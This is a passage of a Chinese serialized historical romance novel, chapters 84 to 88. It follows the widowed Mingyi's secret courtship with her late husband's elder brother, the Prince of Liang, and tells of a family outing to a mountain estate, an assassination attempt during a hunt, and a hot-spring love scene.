作者有话说:明宜:其实你也不用这么守规矩。 第84章 第 83 章 那三娘子你会心慕表兄这…… 但凡早半个月, 明宜做梦都想不到,外表冷酷的小凉王,私下里竟是这副模样。 简直是没皮没脸了。 不过她虽然羞于承认, 内心其实也渴望对方。 食色性也, 自古以来只说男人,其实女人也一样, 不过是因为礼教始终被压抑着罢了。 * 秦破虏自由惯了, 在王府憋了这些天,原本是想寻个借口道别, 无奈阿姐他们多年颠沛流离, 过了太多苦日子, 如今在王府好吃好喝, 还有下人伺候,明显有点乐不思蜀。 况且只有在府中, 才能见到明宜, 哪怕只是像这样与惠心公主一起用膳的时候。 听到李赟说过两天带他们去永安园赏梅泡温泉时,他瞥到对面的长宁公主顿时两眼放光,喜滋滋道:“哎呀, 表兄你可终于忙完了, 你都不晓得这些天, 总在府中多无趣。这会儿紫山还能打猎吧,我不仅要赏梅泡温泉,还要去打猎,最好表兄亲自指点一下我的箭术。” 李赟轻笑:“男女用的弓不同, 你不如让表嫂指点你。” 这声表嫂确实没错。 周月夕像是忽然想到什么似的,看向明宜:“对了三娘子,先前那茶楼说书人说你弓马娴熟, 是真的么?我怎么都不知道。” 明宜笑说:“别听表兄胡说,我也就略懂一二。” 周月夕道:“那我到时候可要和你比试比试了。” 秦破虏看了看两人,目光又落在李赟脸上,忽的弯起嘴角,笑盈盈对惠心公主道:“对了姨母,说起来阿兄早已到成亲年龄,凉王府开枝散叶还得靠他,怎的如今还未有娶妃?” 他这话似乎忽然提醒了惠心公主。 这些日子,因见着长子对秦七郎的关照,她对儿子已有所改观,想着是这些年独自支撑门庭,开始懂了人情世故。 至于李赟娶妻一事,她作为母亲,从前自然也关心过,还让圣上帮忙安排。 凉王子嗣单薄,圣上对此也很上心,在凉王过世三年后,便开始为这个外甥安排选妃,然而挑了三四个,个个都是家世尊贵才貌双全,偏偏李赟都以初接手河西庶务,分身乏术,无暇顾及终身大事,不好耽误人家女子为由婉拒。 圣上说可能他不喜盲婚哑嫁,自有打算,此后她便没再关心。 眼下又是几年过去,她这才蓦地反应过来,像长子这个年纪的儿郎,多少都已儿女成群,而她回来这么久,发觉他身边连个侍妾都没有。 思及此,惠心公主好整以暇看向儿子:“大郎,母亲这些年长居京城,想着你一向有主见,也就没多操心你的婚事。七郎倒是提醒了我,如今凉王府只有你一人,结婚生子乃是头等大事。你可有打算?” 桌上几人,都齐刷刷看向李赟。 李赟轻咳一声,不动声色瞧了眼明宜,道:“母亲不用担心,孩儿已有打算,等明年灭了北狄,定会迎娶王妃。” 惠心公主双眼一亮:“大郎可是有了心仪的人选?” 李赟点头:“没错。” 惠心公主先是一愣,继而又急切问道:“是哪家的娘子?” 李赟道:“如今大战在即,一切尚无定数,若是这会儿提亲,只怕对方难做,孩儿暂时就先告知母亲了,还请母亲体谅。” 惠心公主虽然有些失望,但也理解他的想法,点点头:“嗯,不管怎样,只要你对自己的终身大事有了打算,娘也就放心了。毕竟偌大的凉王府还要等着你开枝散叶。” 李赟轻笑:“待灭了北狄,我定会请圣上为我亲自赐婚。” 秦七郎扯了下嘴角。 “好好好。”惠心公主点头,看了眼面色微微有些失落的长宁公主,又对儿子道,“先前你舅舅还想着着月夕未嫁,若是她此番来凉州,你二人合得来,干脆亲上加亲。” 周月夕脸一红:“姨母——” 李赟轻笑:“我比表妹年长这么多,她又是孩子心性,在我眼中,她就是个年幼的妹妹,怎可能有男女之情?” 周月夕闻言有点不高兴了,梗着脖子道:“是啊,表兄比我年长了八岁还多,可太老了。我要嫁也是嫁跟我一样的少年郎君。” 惠心公主想到什么似的,看向秦破虏:“说起来,七郎和月夕倒是年龄相仿。” 周月夕因上回被秦七郎绑架的事,对此人一直怀恨在心,听到这话,顿时跟踩到尾巴的猫一样,尖声嚷嚷道:“天底下与我年纪相仿的郎君多得是! 秦七郎轻笑道:“是啊,公主金枝玉叶,定是要配得这天底下最好的郎君,草民可不敢高攀。” 周月夕哼了声:“算你识相。” 秦七郎不以为意,只笑盈盈问惠心公主:“若是阿兄想要娶的王妃,不符合姨母的心意,姨母会不高兴么?” 明宜心下一怔,下意识瞧了眼李赟,果然见对方脸上沉下来。 惠心公主倒是不以为意,只笑道:“只要是大郎自己心仪的女子,做母亲的何来不高兴一说?”说着又笑眯眯看向明宜,“当然,若是大郎能娶得像三娘这般的好姑娘,那我这个母亲就再高兴不过了。” 李赟勾唇一笑,看了眼明宜,意味深长道:“母亲放心,我的王妃,定是与三娘一样的好姑娘。” 知书达理的宋三娘子,在桌下轻轻踢了他一脚。 然而这一脚却让小凉王脸上笑意更甚。 这桌上几人,除了秦七郎,谁也没看出来两人之间的微妙。惠心公主更是笑盈盈道:“听大郎你这么说,娘亲还真有点迫不及待想见到你想求娶的那位娘子了。” 李赟道:“嗯,母亲定会像喜爱三娘一样爱她。” 秦七郎的白眼已经翻上了天。 午膳用毕,各自回了院中休息,周月夕则是好奇地跑来芙蓉苑,拉着明宜在榻上打听。 “三娘,你可知表兄心仪的女子是哪位?” 她心性未定,从情窦初开时,便是见到一个俊俏郎君喜欢一个,但都是三分钟热度,这回来凉州初见表兄,见他果然俊美无俦,本是小鹿乱撞了了两天,但几日下来,发觉此人除了庶务便是庶务,实在无趣得很,那心思也就淡了去。 今日午膳听说表兄竟有了心仪之人,不免好奇。 明宜听她专门来问这个,不由得有些心虚,欲盖弥彰轻咳一声道:“我……也不是很清楚。” 周月夕蹙眉啧啧道:“表兄虽然文韬武略,模样俊美,可是完全不解风情,做他的王妃,得多无趣啊?” 明宜下意识摸了摸自己的嘴唇。 不解风情的小凉王,昨晚可是差点将自己的唇亲肿。 “兴许阿兄私底下也不是这么无趣!” “是么?”周月夕想了想,又道,“不过光凉王妃这个身份,这天底下就不知有多少女子趋之若鹜。” 明宜噗嗤一笑:“就不兴别人当真心慕你表兄?” 周月夕撇撇嘴,随口问:“那三娘子你会心慕表兄这样无趣之人么?” 明宜摸摸鼻子,并不直接回答,只道:“阿兄也没有殿下说得这般无趣。” 可惜心思简单的周月夕,没有听出她的话外之音:“反正我见过的郎君,比他有趣得多了,别人不说,就算阿玉表兄,那也是很有趣的。” 想到李悆,明宜面色一怔。 不为别的,而是她忽然意识到,阿玉才过世四个多月,她不仅与他的亲兄长暗通款曲,甚至已经许久没想起过他。 自己是不是有些薄情了? 周月夕这会儿倒是看出她的脸色不对,试探问道:“三娘子,是不是我提到阿玉表兄,让你伤怀了?” 明宜笑着摇摇头,叹息一声道:“殿下多虑了,我对此早已释怀,又如何会因为殿下提起阿玉而伤怀。”顿了下,又补充一句,“我只是想起来,回凉州这么久,还没去给阿玉上香。” “那就好。”周月夕大大咧咧道,“没事,过两天去永安园,我天天陪三娘子去给阿玉表兄上香。” 明宜失笑:“那我就先谢谢殿下了。” 两人又闲话了几句,明宜目送周月夕蹦蹦跳跳离开,转身回到屋中,叫白芷拿了笔墨来。 她得给李悆写封信烧过去,把自己与李赟的事告诉他—— 作者有话说:一到后期就写不动的毛病,十年如一日的改不了 第85章 第 84 章 我堂堂小凉王和未来王妃…… 两天后, 李赟带着众人前往紫山。 虽还未下雪,但在酷寒时节出行,也实在并不是什么轻松事, 幸而女眷们有轿子可坐, 只是苦了抬轿的仆从。 明宜本以为永安园在山中,夏天舒爽, 冬天定是不好受, 哪知永安园这一带,虽地处深山, 却不知是不是因为周围山峰挡去了西北寒风, 倒是比外面舒适不少。 也难怪李赟说幼时, 父母冬夏都会来此小住。 一早接到消息的李澄, 与萍娘和永安园一种仆从,提前侯在门口迎接。 “澄拜见公主殿下小凉王殿下, 长宁公主齐王殿下……” 身后众人齐齐附和。 “都免礼。”惠心公主笑盈盈摆手, 又好奇瞧了瞧他,似是想到什么似的,问道:“你是李澄吧?” 李澄拱手应道:“回公主殿下, 晚辈正是李澄。” 惠心公主笑道:“上回见你还是王爷过世那会儿, 你阿兄那时新婚不久, 你还是个十四五岁的少年郎,一转竟然眼已经这么大了?可已娶妻?” 李澄红着脸道:“回公主殿下,澄已娶妻。” 惠心公主看到他身旁的女子,笑道:“这位就是你家娘子?咦?我怎么瞧着有些眼熟。” 萍娘上前行礼道:“民妇萍娘向公主殿下问安。” “萍娘?”惠心公主秀眉轻蹙, “你不是李澄阿嫂么?” 李澄忙上前半挡着妻子拱手道:“父兄早逝,家中只剩我与萍娘两个侄儿相依为命,这些年下来, 我们谁也无法离开谁,便干脆做了夫妻。” 惠心公主先是微微愕然,但很快便叹了口气,通情达理柔声道:“婶娘不是古板之人,你们自己心意相通就好。孤儿寡母确实不易,你愿担起养家之责,照顾好萍娘和侄儿,便是好儿郎。”说着又看向李赟,略有些埋怨道,“李澄乃是你族弟,他父兄皆战死疆场,你身为兄长,为何不帮衬他们一些?” 李赟还未开口解释,李澄已经赶紧道:“公主殿下,这些年若不是王爷照拂,我和萍娘哪能过上这般安稳生活?王爷派我打理永安园,也是让我能在此安心读书著书。也是因为王爷的支持,我和萍娘才能结为连理。” “是么?”惠心公主微微有些诧异。 自己这长子竟有这般善解人意的时候? 思及此,她轻笑了笑:“原来是我错怪我儿了。” 李赟笑了笑,没说话。 李澄躬身做了个有请的手势:“公主,外面冷,屋中已经生好炭火,咱们赶紧进去暖和暖和吧。” “嗯。” 明宜暗暗舒了口气,不动声色看了眼李赟,对方正好也朝自己看过来,还颇有些得意地挑了下眉头。 似是在说,你看,我说没事吧? 一行人进了园中。 明宜依旧住兰园,婢女早已生了炭火点了香,一进屋中便觉馨香温暖扑鼻而来。 白芷道:“没想到永安园比城中还暖和,当真是一处世外桃源。” 明宜随口道:“毕竟是凉王府专门为惠心公主建的。” 白芷看了看她,想到什么似的,笑眯眯道:“娘子,你瞧惠心公主多开明,对那李澄和阿嫂的事,一点意见也没有,她定也会同意你与王爷的。” 明宜无奈一笑:“但愿吧。” 接受别人的事容易,接受自家的事,却往往没那么简单。 这也是为何她让李赟一定要等到大战之后。 * 虽然永安园比山外略暖和,但到底是寒冬,每个院子又隔了不短的距离,因而惠心公主特意交代,今日的晚膳大家都在自己房中用,早些歇息。 冬天天黑得早,用过膳便已经黑透。 明宜泡了个热水浴,洗去了白日一身疲乏,刚刚换上干净衣裳,李赟果然如期而至。 “你怎么又来了?”明宜好笑道。 李赟道:“我哪日不来?” “这是永安园,又不是王府,你那竹园和兰园隔这么远,何必折腾?” “这点路程算什么?”李赟轻笑,“若是不见到你,我怕是晚上睡不着。” 明宜嗤了声:“胡说八道。” 话是这样说,还是将人拉在炭盆旁,让他烤火取暖。 “你今日看到母亲对李澄和萍娘的态度了吧?”李赟抓着她的手,轻轻揉捏着,笑道,“她不会反对我们的,你别担心了。” 明宜却道:“李澄是外人,她自然不会有意见,但我与你一个是他儿子,一个是她儿媳,情况如何能一样?” 李赟轻笑:“是啊,你是她儿媳。” 明宜嗔道:“我与你说正经了。”她稍稍正色,“总归在灭掉北狄前,咱们的事还是要保密。” 李赟伸手抱住她,漫不经心道:“知道了。” 明宜:“我是让你收敛点,别让人发现了。” 李赟:“在人前我是可以收敛,但现在又没有旁人。” 明宜咕哝道:“早知小凉王这般没皮没脸,我就躲得远远的了。” “躲?”李赟伸手捏住她的下巴,将她面向自己,在那张近日每晚都会品尝的唇上啄了下,“看你怎么躲?” 见他又要亲上来,明宜想到什么似的,赶紧将他推开:“我给阿玉写了封信,想趁着没人,去烧给他。不如就现在吧,你陪我一起。” “信?是要告诉阿玉我俩的事?” 明宜点头:“我想了想,别人可以先瞒着,但阿玉还是要告诉的。” 李赟轻笑:“放心吧,阿玉已经给我报过梦,说看到三娘和阿兄在一起很开心,愿我们白头偕老,儿孙满堂。” 明宜撇撇嘴:“我才不信。” “我骗你作何?”李赟笑着牵起她,“不过你说得对,这事儿我们该告诉阿玉,就当是报喜,也好让他泉下有知安心。” 明宜有些狐疑地看了看他,道:“你当真觉得阿玉会为我们高兴?” 李赟轻笑:“我的阿弟我还不了解,他可是我看着长大的,虽然八年未见,但书信从未断过,许多事他会告诉我,不见得会告诉你。” 明宜道:“阿玉倒是一直要我再嫁,提过好几个曾经对我有意的郎君,但可从没举荐过你。” 李赟道:“你又未曾见过我,他如何举荐?但若他没这个意思,就不会特意交代,让你一个女子,亲自送他棺椁回凉州。他是想让你和我见面。” 明宜虽知他应是在牵强附会,但心中却忍不住有些被他说服:“罢了,反正我把我们的事一五一十都写在信中。” 说着站起身,要往外走。 李赟随手扯下衣架上的狐裘斗篷,搭在她身上:“忘了穿这个。” 明宜这才反应过来,赶紧裹上,又见他只穿寻常夹棉袍,蹙眉道:“你这么少,不怕冷啊?” 李赟道:“我火力壮,不冷。”说着又意有所指地勾了下嘴角,“尤其最近,比从前更甚。” 明宜自是晓得他说的意思,红着脸啐了口:“不害臊!” 李赟伸手揽住她的肩膀:“这样就不冷了。” 明宜确实将他推开:“当心外面有人瞧见。” 李赟撇撇嘴,叹了口气道:“我堂堂小凉王和未来王妃一起,竟是跟偷情一样。” “别乱说了,咱们早去早回。” 李赟倒也没在继续动手动脚,他知对方有顾忌,既是她不愿的事,自己当然不会让她为难。 虽然永安园比外面略暖和些,但夜晚依旧冷得厉害。 园中有人巡逻,但出了园子到了墓地,便没了人。明宜到底还是担心李赟冻着,便将人拉到自己身边,靠在一起。 “我们给阿玉烧了信马上就回去。” 两人来到李悆墓前,李赟将灯笼挂在墓碑上,正好照亮李悆之墓四个大字。 “阿玉,阿兄和三娘来看你了。” 他拿出事先准备好到的香纸点上。 明宜从袖中掏出信笺,蹲在他身边,借着火点燃。 她看着纸上火焰,认真道:“阿玉,我要说的话,都在信里,你慢慢看,若是有什么想与我说的,就报梦给我。” 李赟道:“阿玉,阿兄会好好照顾三娘,你说可惜她是女儿身,成不了男儿志,但阿兄绝不会让她的女儿身束缚水她的志向,她会与阿兄一起建功立业。” 明宜闻言不由得动容,却又有些好笑道:“你与阿玉说这些作何?” 李赟道:“因为这是阿玉对你的期望。”顿了下,认真道,“只可惜阿玉命不好,他是最懂你的人,你和他确实是天生一对。” 明宜不置可否,只叹息道:“希望下辈子的阿玉,能健健康康长命百岁。” 因天寒地冻,两人不好久留,等火灭了,便提着灯笼返程。 哪知刚走了几步,便迎面撞上几人。 “大郎三娘,你们怎的在此?” 来人正是惠心公主,跟在她身旁的还有秦七郎。 原本为了取暖靠在一起的两人,立时分开—— 作者有话说:妈耶~ 第86章 第 85 章 打猎 夜色深沉, 双方隔了好几米的距离,唯有两盏灯笼微弱的光芒。 惠心公主也只隐约认出两人,并未注意到他们原本靠在一起。 明宜忙走上前行礼道:“母亲, 这么冷的天, 你怎么大晚上出来了?” 惠心公主道:“可能忽然换了个地方,有些睡不着, 正好遇到七郎来问安, 我便让他陪我来看看阿玉。你和大郎也是来看阿玉?” “嗯。我想着回凉州这么多天,还没给阿玉上过香, 就过来看看。正好遇到阿兄也在。” 惠心公主叹了口气:“你二人有心了。” “这是应该的。” 秦七郎则是笑盈盈道:“还真是挺巧。” 惠心公主倒是没在意:“说明大家都还念着阿玉。” 明宜上前扶着她:“母亲, 我陪你一起。” 李赟则是默默跟上。 惠心公主欣慰道:“我看一眼就走, 夜晚实在太冷, 待久了怕是会冻出毛病。” “嗯。” 李赟刚刚也是一惊,他不在乎母亲知道他与明宜的事, 但绝不能是忽然在阿玉墓地。 以对方的性子, 定是接受不了。 两人陪着惠心公主去给李悆上了一炷香,便匆匆回了永安园,各自回院子歇下。 李悆当然没来给明宜报梦。 实际上自打李悆过世后, 明宜虽偶尔会梦见她, 可都是往日情景, 梦里的李悆从未和她说过新鲜的话。 或许真如李赟所说,李悆是这世上最了解她的人,知道她与他成亲,本质是想利用他摆脱宋家束缚。 知道她想要自由, 想要做男子才能做的那些事。 所以才将她送到李赟身边来。 然后便与她真正一别两宽。 思及此,明宜不禁悲从中来,后悔自己从未想过去真正了解这个孱弱温和的男人。 “娘子, 你怎么了?” 白芷端来洗漱的水,见她眼圈泛红,忧心忡忡问道。 明宜舒了口气,摇摇头道:“没事,就是做个噩梦。” “哎呀,怎么做噩梦了?” 明宜失笑:“可能是换了地方,一时不习惯。” “那应该是了。”白芷点点头,“我说娘子最近心情气色都好得很,不该做噩梦啊。” 明宜知道她的意思,瞪她一眼:“别瞎说。” 白芷嘿嘿笑。 今日年轻人的活动乃是去山中狩猎。 用过膳,听完惠心公主慈爱的叮嘱后,一众年轻人便各自回院子拿弓箭,换猎装,然后去到门口集合。 明宜只见楚飞,不见李赟,才知军中忽然有急件送来山中,需要小凉王批阅,他一时抽不开身,让大家先去。 楚飞说完,又凑到明宜身旁,用只有两人听得到的声音道:“王爷交代,山中冬日寻不到什么猎物,夫人随便玩玩就好,别太折腾。” 明宜失笑。 她原本也没打算正经去打什么猎。 “走啦!”周月夕骑上马,大大咧咧道,“我今日定要猎一只老虎回来。” 楚飞轻咳道:“紫山没有老虎。” 周月夕一愣:“那我要猎一只狼。” “那恐怕也没有。” 周月夕撇撇嘴:“怎么什么都没有?” “狍子狐狸兔子山鸡都有的,只是如今天寒,这些猎物不好找。”说着又笑眯眯道,“不过公主定能满载而归。” “那是!” 众人骑马出发。 说是骑马,但马儿能畅通而行的地方并不多。因着人太多,几人出了永安园便分头行动。 紫山也并非深山老林,各自又都跟着六七个侍卫,个个都是高手,倒是不用担心安全。 明宜没打算狩猎,找到一块平地,便将马儿栓起来,让侍卫生了一堆篝火,拿出一块用油纸包好的生牛肉,找来木棍插上,架在火上烤起来。 “三娘子还挺会享受。” 香味刚刚飘散,便听一道熟悉的声音传来。 明宜循声转头,看到秦七郎只身一人,牵着马不紧不慢走过来。 “你阿姐呢?” “去寻找猎物了。” “你怎么不去?” 秦七郎没回答,只将马儿拴好,走到明宜身旁,低声道:“小凉王难得不在,我怎么错过与三娘子相处的机会。” 明宜:“秦七郎,你有完没完?”说着想到什么似的,眯眼看了看他,低声道,“昨晚你是故意将公主引去墓地的吧?” 秦七郎面露无辜:“三娘子怎的平白无故冤枉人?”顿了下,又道,“再说,你与王爷不是恰好遇到么?” 明宜哂笑一声:“不管你打得什么主意,都尽早死了这条心。” 秦七郎道:“所谓世上无难事,只怕有心人,三娘子不用把说这么绝。” 明宜无语地摇摇头,懒得再理他,伸手去翻火上的肉。 就在这时,忽然一声尖叫从不远处传来。 是长宁公主。 明宜心下一惊,赶紧丢下手中的肉,领着侍卫循声跑去。 只见周月夕身边不知怎的,只剩两个侍卫,而此时有五六个黑衣刺客,正将三人包围。 两个侍卫虽然拼尽全力,却也受了伤。 “三娘——”被侍卫挡在身后的周月夕,吓得花容失色,看到明宜,顿时像见到救星一样。 “快救殿下!”明宜大声吩咐。 几个护卫飞身上前,挡下了刺客的刀剑,秦七郎自然也拔了刀去帮忙。 有了他们的加入,战局很快扭转。 周月夕瞅准空挡跑到明宜身旁,哆哆嗦嗦道:“怎……怎么会有刺客?刺杀我作何?” 明宜将人挡在身后,蹙眉打量着这些刺客,沉声道:“应该是北狄人。” 紫山虽是凉王府地盘,四周都有守卫,但毕竟是山林,想要潜入并不难。 就如当初,连永安园都能进去几十个刺客,直接闯入李赟书房刺杀。 而凉州城定然还潜伏着不少北狄细作。 她只是没想到,如今那小可汗刚继位,竟然还有心思安排刺杀。而且还是刺杀一个没什么影响的公主。 不对! 他看了眼那刀刀狠厉的秦七郎。 这些人的目标并非长宁公主,应该是这个人。 毕竟鲁刺儿乃是突涅可汗的眼中钉,此人不除,定会影响北狄南侵。 这些刺客恐怕只是恰好让长宁公主撞见。 而明宜也第一次真正见识了秦七郎那把弯刀的威力。 又快又狠,弯刀挥舞间,鲜血四溅,五六个刺客,一个接一个倒在他刀下。 不到一刻钟,林中便又恢复平静。 周月夕紧紧贴在明宜身后,早吓得闭上眼睛。 秦七郎蹲下身,随手将刀刃上的血,在刺客身上擦了擦。 正要站起身时,忽然几支暗箭从林中射过来。 “当心!”秦七郎大叫一声,随手一挥,斩断射向他的箭。 而其中一支直直射向明宜。 她原本是下意识要躲开,然而长宁公主就在她身后,若是自己躲开,这箭只怕是会射中对方。 在这电光火石之间,她脚步未动,只是将手抬起护住头。 然而预想的疼痛没有传来。 她狐疑地放下头,却见秦破虏站在自己半米处。 而那根原本该射中她的箭,此时深深插入对方的肩头。 暗箭没有再来,只有两道逃跑的脚步声,明宜高声吩咐:“快追!” 又看向因为吃痛微微蹙着眉头的秦七郎:“你怎么样?” 秦七郎反手握住箭,准备折断,被明宜制止:“别乱动,这箭怕是有毒。” 周月夕吓得吱哇乱叫:“有毒?秦七郎你不会是要死了吧?” 秦七郎放下手,撇撇嘴道:“放心,应该死不了。” 明宜走到他身后去检查他的伤,淡声问:“你怎么知道你死不了?” “北狄人擅使的毒,就那几种,我都知道解药。” “你身上有吗?” 秦七郎笑:“你觉得呢。” 明宜拿出匕首:“既然眼下没解药,你就别乱动,我先给你拔了箭,将毒血放出来。” “嗯。”秦七郎从善如流点头。 明宜:“要坐下吗?” “用不着。” 还挺硬气。 明宜没再犹豫,用刀割开他衣袍。 幸而是冬天,这箭看着刺得深,但去掉衣衫后,发觉也并没有那么深。 她沿着伤口轻轻划开一些,将箭头取出来,又趁机放了已然开始变黑的毒血。 秦七郎还真是一条硬汉,虽然身体止不住颤抖,却连哼都没哼一声。 明宜将沾着血的箭镞递给他:“你看看是什么毒?” 秦七郎接过闻了闻:“北狄的黑水,死不了。” 一直捂着眼睛的周月夕,终于将眼睛睁开,看到明宜拿了随身携带的创伤药,给秦七郎鲜血淋漓的伤口上药,不由得满心佩服道:“三娘子,没想到你胆子这么大,那么多血你不怕么?” 明宜轻笑道:“其实也有点怕。”说着又问秦七郎,“你真没事?” 秦七郎:“三娘子没事,我就没事。” 明宜却并不承他的情,只淡声道:“别指望我会觉得亏欠你,我救过你一回,你今日救我,咱们就算两清了。” “三娘子救过我两回,我们还未两清。” 明宜懒得与他多说。 与此同时,追出去的护卫已经回来,还拖着被杀死的两个弓箭手。 周子炤和楚飞也闻声赶来。 “五兄——”周月夕跑到兄长跟前,哇的一声哭出来:“我刚刚差点被刺客杀死。” 周子炤检查她一下,确定她没事,才稍稍安心,又看向明宜:“三娘子,你没事吧?” “我没事,不过秦七郎有点事。” 周月夕道:“秦七郎替三娘子挡了一箭,那箭上有毒。” 明宜暗暗叹了口气,只怕秦七郎为舍命救自己的事,很快就要传遍整个永安园。 不过这都不重要,重要的是秦七郎得活着。 “楚飞,你赶紧带秦七郎回去疗伤。” “嗯。”楚飞忙上前扶人。 秦七郎摆摆手:“楚兄,我无碍。” 只是话音刚落,人便一头往地上栽去。 好在楚飞眼明手快,及时将人扶住。 这猎自然是打不了了,一行人急匆匆回到永安园时,秦七郎一张脸已毫无血色,嘴唇更是隐隐发黑。 好在他短暂清醒过来,将解药的方子告知。 秦梦看到阿弟受伤,担心地只抹眼泪,惠心公主也是寸步不离亲自守在床榻边。 秦七郎实在是会哄人,这几日下来,惠心公主俨然已经将他当成儿子一般对待。 听说他受伤乃是因为舍命救下明宜,更是心疼不已。 “三娘,经此一事,不管以前七郎做过何事,你都莫要再放在心上。” “母亲放心,我早就没放在心上。” “我瞧你平日待他颇为冷淡,以后你是否能待他再好些?” 明宜还未回答,床上的人已经缓缓睁开眼睛,气若游丝道:“姨母,我从前做了许多对不住三娘子的事,她却不计前嫌救我一命。我的命本来就是三娘子给的,别说是挡下这一箭,就是挡再多箭,我也心甘情愿。” 他这话是何意,惠心公主怎会听不出来? 她本就是个心软之人,顿时眼眶一热:“七郎,你的心思姨母明白,来日方长,你是个好男儿,三娘定会慢慢体会到的。” 秦七郎勉强笑了笑,虚弱道:“我会好好表现。” 明宜:“……” 而刚刚赶来的李赟恰好也听到这对话,本来还担心秦七郎别出了什么事,眼下只恨不得对方当场去见阎王。 这苦肉计用得还真是妙。 至少打动了他的好母亲—— 作者有话说:李赟:烦不烦 第87章 第 86 章 温泉 李赟深吸一口气, 上前道:“母亲,大夫说了,七郎无大碍, 休息两日便好。” 惠心公主闻言松了口气:“那就好那就好。” 李赟瞥了眼床上看似虚弱的男人, 又说道:“已经查明,此次刺客是冲着七郎而来。七郎如今是北狄大汗心头大患, 不除之只怕心有不甘。” 惠心公主顿时严肃道:“那大郎你赶紧多加派些人手保护七郎, 这可是凉州,怎能由着北狄贼子为所欲为?你赶紧把潜伏的北狄细作都拔除。” 李赟拱手道:“母亲放心, 我会再调派一队精兵护着七郎, 今日军中来件就是说细作的事, 相信不日就会全部拔除。不过……”他看向秦七郎, “也得七郎自己多上点心,千万别独自乱跑, 今日这些刺客本已追踪到他, 只是恰好先让表妹撞上。” 惠心公主这才想起来问道:“月夕怎么样了?” 李赟回道:“表妹就是受了惊,已经无事。”说着又看向明宜,“三娘今日想必也被吓到, 回去好好休息吧。” “嗯, 没错。”惠心公主点头, “三娘你快休息,七郎这里我会看着,你不用担心。” 明宜瞥了眼床上的人,心说, 谁担心这打不死的小崽子? 总归别在大战前丢了小命,就万事大吉。 明宜与惠心公主行礼道了别,领着白芷出了这座客院。 这事一闹, 几个年轻人也都不敢再乱跑,老老实实待在永安园过冬。 秦七郎到底年轻底子好,不过三五日,便恢复如常。 而这几日,因着惠心公主常在床边陪伴,两人无话不谈,感情愈发亲近。 又过两日,惠心公主唤来众人在浣花厅用晚膳,当场宣布认秦七郎为干儿。 她从秦七郎的姨母,变成了干娘。 因着他替明宜挡了一箭,周月夕和周子炤对他也大有改观,甚至都觉得他从前种种乃是不得已为之。 明宜当然不否认这是事实,然而她始终觉得此人性情刁钻狡诈,不足为信。 对自己的心思如今更是毫不遮掩,哄着惠心公主的目的,无非是想让惠心公主为他牵线搭桥。 可惜他不知,自己和李赟早已不是发乎情止乎礼这么简单。 她和李赟对秦七郎的胡搅蛮缠,实在是有些头疼,却也拿他无可奈何,一来是需借对方之力对抗北狄,二来惠心公主对他是真心疼爱。 刚刚丧子之痛的母亲,能有一个这样哄她开心的干儿,总归是好事。 * 因着刺客的事,李赟这些天忙得脚不沾地,每日往返紫山和城中,原本每晚都要来明宜屋中说几句话,却因偶尔回永安园太晚,怕打扰对方休息,只能作罢。 永安园的几个园子,都建了温泉房,明宜两三天会泡上一次。 今晚正泡得浑身懒洋洋,忽然想喝点茶水“白芷,给我泡杯热茶来!” 话音刚落,便有一只瓷杯放在池边。 明宜笑道:“你倒是越来越懂我,都不用吩咐了。”说着拿起杯子饮了一口,入口的却是甜丝丝的蜂蜜水,“咦?怎么是蜂蜜水?” “泡温泉喝蜂蜜水比喝茶好。”李赟熟悉的声音在耳畔响起。 明宜顿时吓得手一抖,杯子差点就落入水中,还是李赟眼明手快一把接住。 “怕什么?” 虽然屋中烛火昏沉,温泉水又没过了胸口,但毕竟不着寸缕,明宜下意识双手环胸,转头看向他,面红耳赤支支吾吾道:“你……怎么在这里?” “两天没见到,甚是想念,刚回到山上,便过来看看你。”李赟风轻云淡道,仿佛并不觉得自己做了什么过分之事。 明宜嗔道:“李赟!你太过分了!” 李赟轻笑,伸手将她有些散乱的头发绾好,淡声道:“你我还需这么见外?过分的事又不是没做过。” “那怎能一样?” “有何不一样?”李赟道,“总归我也不会真的越雷池。” 说这话他伸了伸胳膊,声音略显疲惫道:“这几日来回奔波,实在累得很,我正好也来泡泡解解乏。” 明宜急道:“你去你自己院子泡!”然而李赟置若罔闻,解了衣带,随手将衣袍丢在一旁。 “哎呀,你别下来!” 李赟难得见她这般惊慌失措的窘迫模样,不由低笑出声:“三娘何时胆子变这么小了?” 说着便绕她对面。 明宜下意识闭上眼睛。 “我穿着呢。” 明宜这才将眼睛睁开。 是穿着,但只是穿着亵裤,上身却是不着寸缕,带着几道疤痕的精壮身躯,在烛火中散发着一股浓烈的雄性气息。 明宜见他慢慢滑入水中,靠在池壁上,闭上眼睛舒服地喟叹一声,许是真的疲乏。 事已至此,她也不好再强行将人赶走,只得默默拿了身旁的沐巾裹在肩膀,遮住胸前春光。 这池子不算大,两人虽然各自靠在一边,但只要两人伸长脚,便能轻易碰到对方。 李赟缓缓睁开眼睛,见她身上搭了沐巾,不由有些好笑道:“反正迟早要坦诚相见的,三娘不必这般害羞?” 明宜没好气道:“小凉王,你真是越来越过分了!” 李赟眼睛微微一眯,忽然直起身,朝她挪过来:“原本我只是想泡泡温泉,既然三娘这样说,那我只好将这过分坐实了。” “你别过来!”明宜轻呼道。 她心一横,也不管走露春光,准备起身走人,却被李赟一把拉回水中,两条结实的手臂,将她紧紧箍在怀中。 “三娘,我好累,你就心疼心疼我,陪陪我吧!”男人低沉的声音在她耳畔道。 明宜到底是心软,最终任由他抱在怀中,只是嘴上依旧斥道:“你不许乱来!” 李赟轻笑:“我要是乱来,早就来了!还用等现在?” 明宜想想也是,这些日子,李赟虽然得寸进尺,越来越过分,但不管身体如何反应,他最终都会打住。 思及此,她也便放了心。 实际上她也并非要守着什么,寻欢作乐自然是快活事,只是眼下大战在即,若图一时爽快,不小心有了身孕,那便是大麻烦—— 作者有话说:这两天不行的原因是大姨妈来了哭 第88章 第 87 章 撞破 然而这回与往日到底不同。 从前两人纵然再亲密, 也隔了几层衣裳,眼下却是实打实的肌肤相亲。 两具湿漉漉的身子,在水中靠在一起, 温暖滑腻的触感, 顿时让温泉又热了几分。 别说是李赟,明宜也克制不住浑身颤栗 她勉强抬手将人推了把:“你去那头。” 李赟却是顺势捉住她的手, 又凑上来吻上她的唇, 让她再说不出她不爱听的话。 裹在明宜肩头的沐巾不知何时被对方扯下来。 两人之间彻底没了阻隔。 小凉王到底不是圣人,往常每次都是适可而止, 今日却无论如何也停不下来。 而明宜也很快迷离, 只任由对方在水中为所欲为。 清醒过来分开时, 已是半个时辰后。 好在这是温泉池, 不用担心水凉。 明宜虚软地靠在池壁边,檀口微张, 重重喘着气。 李赟笑着伸手将她额前散乱的发丝捋开, 摸摸她的脸:“出去吧,温泉泡久了对身子也不好。” 明宜红着脸瞪他一眼,嗔怪道:“晓得泡久了不好, 还这般胡闹。” 